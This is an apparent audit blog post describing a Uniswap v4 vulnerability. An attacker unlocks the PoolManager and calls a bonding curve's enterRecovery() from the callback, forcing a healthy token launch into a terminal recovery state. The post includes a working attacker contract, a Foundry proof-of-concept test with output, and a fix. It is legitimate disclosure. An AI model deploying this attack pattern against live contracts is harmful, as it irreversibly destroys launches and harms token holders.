This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors\u00a0found.<\/p>\n
Today\u2019s finding comes from a token launch protocol built on Uniswap v4 (). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can\u2019t go through, the launch drops into a RECOVERY state, which is terminal, there\u2019s no way back out. We found a way for anyone to push a perfectly healthy launch into that state, for\u00a0free.<\/p>\n
When a migration looks stuck, anyone can call enterRecovery(). To decide whether migration is actually broken, the curve just tries it and treats any revert as proof of\u00a0failure.<\/p>\n
\/\/ BondingCurve.sol
function enterRecovery() external {
try migrationModule.migrate() {
\/\/ migration worked, nothing to recover from
} catch {
\/\/ any revert at all -> declare migration dead
state = State.RECOVERY;
}
}<\/p>\n
The catch block doesn’t look at why the call reverted. That’s the\u00a0gap.<\/p>\n
The migration module refuses to run while Uniswap\u2019s PoolManager is unlocked. On its own, this guard is correct, migrating mid-unlock would be\u00a0unsafe.<\/p>\n
\/\/ V4MigrationModule.sol
bytes32 constant IS_UNLOCKED_SLOT =
0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<\/p>\n
function migrate() external view {
\/\/ reads the PoolManager’s lock flag through its public exttload()
if (poolManager.exttload(IS_UNLOCKED_SLOT) != 0) revert PoolManagerUnlocked();
\/\/ … real migration work …
}<\/p>\n
The catch is that anyone can put the PoolManager into that unlocked state. In v4-core, unlock(bytes) is external and permissionless. It unlocks the manager, hands control back to the caller through unlockCallback, and only checks at the very end that all token balances settled to\u00a0zero.<\/p>\n
\/\/ Uniswap v4-core, PoolManager.sol
function unlock(bytes calldata data) external returns (bytes memory result) {
Lock.unlock();
result = IUnlockCallback(msg.sender).unlockCallback(data);
if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
Lock.lock();
}<\/p>\n
If the attacker settles nothing inside unlockCallback, NonzeroDeltaCount stays at zero, so the outer unlock() finishes cleanly. No tokens, no special access\u00a0needed.<\/p>\n
From inside their own callback, the PoolManager is unlocked, so the attacker just calls enterRecovery().<\/p>\n
function unlockCallback(bytes calldata) external returns (bytes memory) {
\/\/ PoolManager is unlocked right now, so migrate() will revert
curve.enterRecovery(); \/\/ migrate() reverts with PoolManagerUnlocked()
return “”; \/\/ settle nothing, outer unlock() still succeeds
}<\/p>\n
migrate() reverts with PoolManagerUnlocked(), the catch block treats it as a real failure, and a healthy launch is moved to terminal RECOVERY.<\/p>\n
The root cause isn\u2019t the PoolManager rejecting migration while unlocked, that behaviour is correct. It\u2019s that enterRecovery() lets an attacker trigger that revert on purpose and then counts it as a genuine\u00a0failure.<\/p>\n
This runs against the real Uniswap v4 PoolManager, so the unlock behaviour is exactly the production one.<\/p>\n
src\/Recovery.sol holds the launch contracts, the vulnerable BondingCurve plus V4MigrationModule, and their fixed versions:<\/p>\n
\/\/ SPDX-License-Identifier: MIT
pragma solidity 0.8.26;<\/p>\n
import {IPoolManager} from “v4-core\/src\/interfaces\/IPoolManager.sol”;<\/p>\n
\/\/\/ @notice Minimal reproduction of the migration module. Not the audited
\/\/\/ source. It refuses to migrate while Uniswap’s PoolManager is unlocked.
contract V4MigrationModule {
IPoolManager public immutable poolManager;<\/p>\n
\/\/ Same slot as Lock.IS_UNLOCKED_SLOT in v4-core.
bytes32 constant IS_UNLOCKED_SLOT =
0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<\/p>\n
error PoolManagerUnlocked();<\/p>\n
constructor(IPoolManager _pm) {
poolManager = _pm;
}<\/p>\n
function _isUnlocked() internal view returns (bool) {
return poolManager.exttload(IS_UNLOCKED_SLOT) != 0;
}<\/p>\n
\/\/\/ @notice Correct in isolation: migration must not run mid-unlock.
function migrate() external view {
if (_isUnlocked()) revert PoolManagerUnlocked();
\/\/ … real migration work would go here …
}
}<\/p>\n
\/\/\/ @notice Minimal reproduction of the bonding curve’s recovery path.
contract BondingCurve {
enum State { ACTIVE, RECOVERY }<\/p>\n
State public state;
V4MigrationModule public immutable migrationModule;<\/p>\n
constructor(V4MigrationModule _m) {
migrationModule = _m;
}<\/p>\n
\/\/\/ @notice Vulnerable: treats ANY revert from migrate() as a real failure.
function enterRecovery() external {
try migrationModule.migrate() {
\/\/ migration worked, nothing to recover from
} catch {
state = State.RECOVERY;
}
}
}<\/p>\n
\/\/\/ @notice Fixed bonding curve: checks migration is actually attemptable first.
contract BondingCurveFixed {
enum State { ACTIVE, RECOVERY }<\/p>\n
State public state;
V4MigrationModuleFixed public immutable migrationModule;<\/p>\n
constructor(V4MigrationModuleFixed _m) {
migrationModule = _m;
}<\/p>\n
function enterRecovery() external {
require(migrationModule.isMigratable(), “migration not attemptable”);
try migrationModule.migrate() {
} catch {
state = State.RECOVERY;
}
}
}<\/p>\n
\/\/\/ @notice Fixed module: exposes a view reporting whether migration can run.
contract V4MigrationModuleFixed {
IPoolManager public immutable poolManager;<\/p>\n
bytes32 constant IS_UNLOCKED_SLOT =
0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<\/p>\n
error PoolManagerUnlocked();<\/p>\n
constructor(IPoolManager _pm) {
poolManager = _pm;
}<\/p>\n
function isMigratable() public view returns (bool) {
return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;
}<\/p>\n
function migrate() external view {
if (!isMigratable()) revert PoolManagerUnlocked();
}
}<\/p>\n
test\/ForcedRecovery.t.sol:<\/p>\n
\/\/ SPDX-License-Identifier: MIT
pragma solidity 0.8.26;<\/p>\n
import {Test, console2} from “forge-std\/Test.sol”;
import {PoolManager} from “v4-core\/src\/PoolManager.sol”;
import {IPoolManager} from “v4-core\/src\/interfaces\/IPoolManager.sol”;
import {IUnlockCallback} from “v4-core\/src\/interfaces\/callback\/IUnlockCallback.sol”;
import {
BondingCurve, BondingCurveFixed,
V4MigrationModule, V4MigrationModuleFixed
} from “..\/src\/Recovery.sol”;<\/p>\n
\/\/\/ @notice The attacker’s unlockCallback calls enterRecovery() while the
\/\/\/ PoolManager is unlocked, then settles nothing so unlock() still succeeds.
contract Attacker is IUnlockCallback {
PoolManager pm;
address curve;<\/p>\n
constructor(PoolManager _pm, address _curve) {
pm = _pm;
curve = _curve;
}<\/p>\n
function attack() external {
pm.unlock(“”);
}<\/p>\n
function unlockCallback(bytes calldata) external returns (bytes memory) {
\/\/ PoolManager is unlocked right now, so migrate() will revert.
(bool ok,) = curve.call(abi.encodeWithSignature(“enterRecovery()”));
ok; \/\/ call itself succeeds, the inner revert is swallowed by try\/catch
return “”; \/\/ settle nothing -> NonzeroDeltaCount stays 0 -> unlock() ok
}
}<\/p>\n
contract ForcedRecoveryTest is Test {
PoolManager pm;<\/p>\n
function setUp() public {
pm = new PoolManager(address(this));
}<\/p>\n
function test_AttackerForcesHealthyLaunchIntoRecovery() public {
V4MigrationModule module = new V4MigrationModule(IPoolManager(address(pm)));
BondingCurve curve = new BondingCurve(module);<\/p>\n
\/\/ migration is perfectly healthy: with the manager locked, it does not revert
module.migrate();
console2.log(“migration healthy while locked : true”);
assertEq(uint256(curve.state()), uint256(BondingCurve.State.ACTIVE));<\/p>\n
\/\/ attacker unlocks the manager and calls enterRecovery() from the callback
Attacker attacker = new Attacker(pm, address(curve));
attacker.attack();<\/p>\n
console2.log(“state after attack (0=ACTIVE,1=RECOVERY):”, uint256(curve.state()));
assertEq(uint256(curve.state()), uint256(BondingCurve.State.RECOVERY), “launch forced into RECOVERY”);
}<\/p>\n
function test_FixedCurveResistsTheAttack() public {
V4MigrationModuleFixed module = new V4MigrationModuleFixed(IPoolManager(address(pm)));
BondingCurveFixed curve = new BondingCurveFixed(module);<\/p>\n
Attacker attacker = new Attacker(pm, address(curve));<\/p>\n
\/\/ same attack as before: unlock, then call enterRecovery() from the callback
attacker.attack();<\/p>\n
\/\/ the isMigratable() guard rejects the call, so state never flips
console2.log(“state after attack (0=ACTIVE,1=RECOVERY):”, uint256(curve.state()));
assertEq(uint256(curve.state()), uint256(BondingCurveFixed.State.ACTIVE), “launch stays ACTIVE”);
}
}<\/p>\n
Run it:<\/p>\n
forge test –match-contract ForcedRecoveryTest -vv<\/p>\n
Output:<\/p>\n
Ran 2 tests for test\/ForcedRecovery.t.sol:ForcedRecoveryTest
[PASS] test_AttackerForcesHealthyLaunchIntoRecovery() (gas: 551888)
Logs:
migration healthy while locked : true
state after attack (0=ACTIVE,1=RECOVERY): 1<\/p>\n
[PASS] test_FixedCurveResistsTheAttack() (gas: 512694)
Logs:
state after attack (0=ACTIVE,1=RECOVERY): 0<\/p>\n
Suite result: ok. 2 passed; 0 failed; 0 skipped<\/p>\n
The first test shows migration is healthy while the manager is locked, then the attacker unlocks the manager, calls enterRecovery() from the callback, and the state flips to RECOVERY (1). The second test runs the same attack on the fixed curve and the state stays ACTIVE\u00a0(0).<\/p>\n
Before trying the migration, check whether it can actually run right now. If it can\u2019t, stop instead of entering recovery. This check lives in the protocol\u2019s own migration module, nothing changes on Uniswap\u2019s side.<\/p>\n
\/\/ V4MigrationModule.sol
function isMigratable() public view returns (bool) {
\/\/ same lock flag migrate() already checks
return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;
}<\/p>\n
\/\/ BondingCurve.sol
function enterRecovery() external {
\/\/ stop early if migration can’t run right now
require(migrationModule.isMigratable(), “migration not attemptable”);<\/p>\n
try migrationModule.migrate() {
\/\/ migration worked, nothing to recover from
} catch {
\/\/ only reached when migration really fails
state = State.RECOVERY;
}
}<\/p>\n
isMigratable() reads the same lock flag migrate() already checks, so the attacker’s call now stops at the first line, and recovery only happens when migration fails under normal conditions.<\/p>\n
Ignoring only the PoolManagerUnlocked() error would also work today, but any similar “temporarily unavailable” error added to the migration path later would reopen the same hole. Checking up front avoids\u00a0that.<\/p>\n
When a failure leads to a permanent, irreversible state change, the contract shouldn\u2019t just ask whether something failed, it should ask why. Here, a single revert anyone could trigger was enough to permanently kill a healthy\u00a0launch.<\/p>\n
Originally published at <\/em>https:\/\/www.quillaudits.com<\/em><\/a>.<\/em><\/p>\n Quill Findings: Forcing Recovery Through Uniswap Unlock<\/a> was originally published in Coinmonks<\/a> on Medium, where people are continuing the conversation by highlighting and responding to this story.<\/p>","protected":false},"excerpt":{"rendered":" This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors\u00a0found. Today\u2019s finding comes from a token launch protocol built on Uniswap v4 (). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can\u2019t go through, the launch drops into […]<\/p>\n","protected":false},"author":0,"featured_media":242206,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-242205","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-interesting"],"_links":{"self":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts\/242205"}],"collection":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=242205"}],"version-history":[{"count":0,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts\/242205\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/media\/242206"}],"wp:attachment":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=242205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=242205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=242205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}